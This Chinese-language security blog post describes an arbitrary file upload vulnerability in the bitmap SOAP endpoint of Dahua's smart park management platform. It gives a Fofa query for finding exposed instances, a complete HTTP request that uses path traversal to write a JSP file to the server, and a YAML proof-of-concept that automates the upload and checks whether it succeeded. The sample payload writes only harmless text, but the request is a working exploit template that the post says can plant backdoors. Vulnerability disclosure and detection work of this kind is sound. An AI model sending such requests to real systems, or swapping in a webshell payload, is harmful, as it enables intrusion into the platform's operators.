Advertisement

大华智慧园区综合管理平台bitmap任意文件上传

阅读量:

简介

大华智慧园区解决方案通过AI技术的集成推动园区安防与办公应用实现智慧化升级,在显著提升企业安全水平的同时显著提升运营效能;将物联网技术深入拓展至企业各类业务领域,在园区内实现人、车、物数据全方位融合与实时计算。搭建覆盖园区全业务范围的大数据平台,在数据向上汇聚为企业提供全方位的数据支撑,在数据向下整合为企业业务提供决策支持能力;全方位实现企业在数字化转型过程中的安全等级提升、运营效率优化以及管理成本降低目标的达成。

漏洞简介

大华智慧园区综合管理平台 /emap/webservice/gis/soap/bitmap接口处存在任何文件上传漏洞,非授权攻击者可携带后门程序的文件进行植入,并运行预设命令序列以规避安全防护措施.

影响范围

大华智慧园区综合管理平台
Fofa:

复制代码
    app="dahua-智慧园区综合管理平台"

漏洞复现

标签处为base64编码的payload

复制代码
 POST /emap/webservice/gis/soap/bitmap HTTP/1.1

    
 Host:
    
 Content-Type: text/xml; charset=utf-8
    
 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
    
 Content-Length: 449
    
  
    
 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:res="http://response.webservice.bitmap.mapbiz.emap.dahuatech.com/">
    
     <soapenv:Header/>
    
     <soapenv:Body>
    
     <res:uploadPicFile>
    
         <arg0>
    
             <picPath>/../HelloWorld.jsp</picPath>
    
         </arg0>
    
         <arg1>
    
  SGVsbG9Xb3JsZA==
    
         </arg1>
    
     </res:uploadPicFile>
    
     </soapenv:Body>
    
 </soapenv:Envelope>

访问/upload/HelloWorld.jsp

poc

复制代码
 params: []

    
 name: 大华智慧园区综合管理平台 bitmap 任意文件上传漏洞
    
 set: {}
    
 rules:
    
 - method: POST
    
   path: /emap/webservice/gis/soap/bitmap
    
   headers:
    
     Content-Type: text/xml; charset=utf-8
    
   body: |-
    
     <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:res="http://response.webservice.bitmap.mapbiz.emap.dahuatech.com/">
    
     <soapenv:Header/>
    
     <soapenv:Body>
    
         <res:uploadPicFile>
    
             <arg0>
    
                 <picPath>/../HelloWorld.jsp</picPath>
    
             </arg0>
    
             <arg1>
    
      SGVsbG9Xb3JsZA==
    
             </arg1>
    
         </res:uploadPicFile>
    
     </soapenv:Body>
    
     </soapenv:Envelope>
    
   search: ""
    
   followredirects: false
    
   expression: response.status == 200
    
 - method: GET
    
   path: /upload/HelloWorld.jsp
    
   headers: {}
    
   body: ""
    
   search: ""
    
   followredirects: false
    
   expression: response.status == 200 && response.body.bcontains(b"HelloWorld")
    
 groups: {}
    
 detail:
    
   author: ""
    
   links: []
    
   description: ""
    
   version: ""

全部评论 (0)

还没有任何评论哟~